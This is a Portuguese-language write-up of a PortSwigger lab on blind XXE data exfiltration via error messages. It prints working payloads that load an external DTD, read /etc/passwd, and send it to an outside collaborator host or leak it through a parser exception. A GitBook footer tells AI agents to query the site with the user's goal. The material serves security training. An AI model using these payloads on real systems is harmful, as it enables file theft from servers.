> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xxe/blind-xxe-data-exfiltration-via-error-messages.md).

# Filtragem Cega de Dados XXE via Mensagens de Erro

Notas sobre Filtragem Cega de Dados XXE via Mensagens de Erro para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### Explorando XXE cego para recuperar dados por meio de mensagens de erro

Laboratório: o recurso Verificar estoque analisa um XML sem exibir a resposta diretamente. O objetivo é usar uma entidade externa (DTD hospedado em um servidor) para causar um erro que mostrará o conteúdo do `/etc/passwd` arquivo na mensagem de exceção. A técnica de forçar o parser a incluir o conteúdo do arquivo em um URI inexistente é usada para que a exceção revele esse conteúdo.

* O ponto de entrada analisa XML, mas não retorna o resultado normalmente.
* O servidor permite a inclusão de um DTD externo (hospedado no domínio do exploit).
* A mensagem de erro do parser contém informações suficientes para que, se o DTD causar uma referência malformada incluindo o conteúdo de um arquivo, esse conteúdo apareça na exceção.

#### Carregue um DTD externo hospedado no servidor para operar adicionando uma `DOCTYPE` Declaração apontando para a URL do servidor de exploração:

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://qf9v476vsapx2mqf01es1v7cu30xoncc.oastify.com"> %myFile;]>
<stockCheck>
<productId>
2
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d28ea2000ba251a61fc49e4fb6797b6e5e22a7f2%2F%7BB6835883-87A0-49C4-82E3-FC50A3425D1A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

O parser retorna um erro do tipo:/ `O parser XML saiu com erro: org.XML.sax.SAXParseException; systemId: https://qf9v476...; lineNumber: 1; columnNumber: 2; As declarações de marcação... devem estar bem formadas.`

2. Tentativa direta de listar `/etc/passwd` (problema: muitas linhas):

```xml
<!ENTITY % file SYSTEM "file:////etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'https://rrmwg8iw4b1yen2gc2qtdwjd64c00qof.oastify.com/?content=%file;'>">
%eval;
%exfil;
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0d515c6967570473060a2657f63eb3fd2a89aaae%2F%7B5B84651A-EFC5-4877-93A0-DD0F6E71C5D3%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

3. Técnica usada com contexto de erro — insira o conteúdo do arquivo em uma referência impossível para forçar o parser a exibi-lo na exceção:

```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
```

Ao acionar a referência a `file:///nonexistent/%file;`, o parser gera uma exceção contendo o texto do recurso incluído (`/etc/passwd`), o que permite exfiltrar o conteúdo apesar da ausência de um retorno normal à funcionalidade.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4acbda40ceed09952630432345d7334fe14f25d7%2F%7BE1882B4A-229B-4C50-B42F-AD4ABC5C93B3%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/xxe/blind-xxe-data-exfiltration-via-error-messages.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
